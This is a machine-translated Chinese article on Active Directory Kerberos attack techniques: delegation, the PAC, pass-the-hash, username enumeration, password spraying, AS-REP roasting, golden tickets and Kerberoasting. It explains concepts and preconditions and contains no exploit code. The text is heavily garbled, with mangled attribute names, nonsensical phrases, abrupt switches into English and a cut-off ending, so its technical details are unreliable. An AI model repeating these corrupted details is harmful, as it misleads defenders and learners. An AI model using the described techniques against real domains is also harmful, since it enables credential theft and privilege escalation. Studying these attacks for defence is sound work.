为了配置受约束的委托,您必须具有SigeAbledeleagelegation特权(此特权是敏感的,通常仅授予域管理员)。为了使用户/资源更加独立,在Windows Server 2012中引入了基于资源的约束委托。基于资源的约束委托允许将资源配置信任的帐户委派给他们。基于资源的约束代表团将委派控件交给拥有访问资源的管理员。

基于资源的约束委托只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式森林中应用。这种约束委托的样式与传统约束委托非常相似,但具有相反的配置。

传统约束代表团在MSDS-AllowDodelegateTo属性中的帐户A上配置,并定义了从A到B的“传出”信任。

基于资源的约束委托委托在s-woldedtoactonbehalfofofofrofoffofrofentity属性中的帐户B上配置,并定义了从A到B的“传入”信任。

t01fe78dcd0b3af3aa4.jpg

PAC

Microsoft引入的访问控制引入的扩展PAC。历史上已经看到了一个严重的漏洞,使普通用户可以晋升为域管理MS14068。

kerberos过程引入PAC

用户将AS_REQ启动到KDC,并且请求凭据是用户哈希加密的时间戳。 KDC使用用户哈希解密。如果结果是正确的,则返回使用KRBTGT哈希加密的TGT票证。 TGT包含PAC,PAC包含用户的SID和用户所在的组。

t011f9cbcb54713d1b6.png

用户使用TGT启动了针对KDC的特定服务的TGS_REQ请求。 KDC使用KRBTGT哈希进行解密。 If the result is correct, it returns the ST\Ticket encrypted with the service hash (this step does not matter whether the user has access to the service or not, as long as the TGT is correct, it returns the ST\Ticket. This is also the reason why kerberoating can use: any user, as long as the hash is correct, can request the ST\Ticket of any service in the domain. For details, please refer to the Windows Intranet Protocol to learn the TGSREQ TGSREP在Kerberos文章中)

用户将ST \ Ticke索取服务,该服务使用自己的哈希解密ST \ Ticke。如果解密是正确的,请将PAC带到KDC,询问用户是否具有访问权限,并且域控制解密PAC。获取用户的SID和用户所在的组,然后确定用户是否有权访问服务。如果有访问权限,将允许用户访问用户(如果有用户哈希,您可以制作st \ ticket,但是您无法制作PAC,而PAC自然无法验证PAC,但是有些服务不能验证PAC,这是银账单成功的先决条件)。

尤其指出的是,在整个过程中,PAC对用户和服务都是看不见的。只有KDC可以制作和查看PAC。

相关的安全问题

as_req as_rep

pth \ ptk

连接到配置时,允许您使用哈希进行身份验证。不仅可以对帐户和密码进行身份验证。

t01af29156e1e95022b.png

由于在身份验证时使用用户哈希对时间戳进行加密,因此在使用密码登录时,您应首先将密码加密到验证之前。

因此,如果只有用户哈希,并且没有明确的文本密码,也可以执行身份验证。

无论是Rubeus还是Impacket,相关脚本都支持直接使用哈希进行身份验证。

12如果哈希是ntlm哈希,然后加密方法为rc4,如果哈希是aes键(使用sekurlsa:ekeys导出,则可以完成,即使在许多地方传递键并且不支持rc4 Encryptight方法,也可以使用键是一个好方法,即使键在许多地方传递。

用户名枚举

如果域中没有域帐户,则列举用户名

如果您有一个域帐户,则可以直接通过LDAP查询(在域机器提及系统权限之后,其机器帐户也是一个域帐户)

执行AS_REQ时,用户名存在,但是密码错误与用户名中不存在的相应软件包不同。通过此比较,您可以编写一个脚本来更改用户名枚举的cname值(https://daiker.gitbook.io/windows-protocol/kerberos/kerberos/1#2.-yong-hu-ming-ming-mei-ju)。

密码喷涂(密码喷涂)

当您已经拥有用户名时,您可以尝试破坏密码。

执行AS_REQ时,存在用户名,并且密码正确,并且存在带有用户名的相应软件包,但密码不正确。

在实际战斗中,“密码喷涂”技术将用于测试和攻击。由于对同一用户的连续密码猜测会导致帐户被锁定,因此只指定了一个唯一的密码,供所有用户同时登录,从而消除了锁定帐户的概率并提高了开裂的成功率。

AS-REPROASTING(用户明文密码爆炸)

用于域用户,该选项不需要Kerberos预先验证(不需要Kerberos预先验证)

t01618262dcc542af40.png

目前,将AS_REQ请求发送到域控制器端口88,并重新组合接收到的AS_REP内容(encpart下的CIPER,因为此部分是使用用户哈希加密的会话- 我们可以通过执行离线爆炸来获得用户哈希,可以将其插入“ Kerberos 5 as-rep eType eType exy expy)中,并将其插入。您可以使用HashCat破解它,并最终获取用户的明文密码。

金笔记

确认客户端登录器的用户身份。通过锻造的TGT,您可以获取对由Krbtgt NTLM哈希加密的任何Kerberos的访问权限。

伪造条件

12341,域名2,域SID值3,域KRBTGT帐户哈希(意味着您已经具有域控制器权限)4。伪造任何用户名,可以是任意的。 In Kerberos authentication, after the Client passes AS (Authentication Service) authentication, the AS will give the Client a Logon Session Key and TGT, and the Logon Session Key will not be saved in KDC, and the NTLM Hash of krbtgt is fixed (this account generally does not change the password), so as long as you get the NTLM Hash of krbtgt, you can forge TGT and Logon Session Key to enter客户端和TGS之间互动的下一步。

获得金票后,您可以跳过验证并直接与KDC进行互动,而无需验证您的帐户和密码,因此您不必担心修改域密码。

TGS_REQ TGS_REP

PTT(通过票证)

kerbreos除了第一步AS_ERQ外,使用时间戳对用户哈希进行加密,其他步骤的验证是通过票证,可以是TGT(票证授予票证)或TGS票务(服务器票证/票证/票)。由于账单中的内容主要是Session_Key和票证(使用服务哈希进行加密,并且该服务包括KRBTGT),因此我们可以在下一阶段使用该账单作为验证。

kerberosting(服务哈希爆炸)

,因为tgs_rep中的票证中的enc_part(票证中的enc_part,而不是最外部的en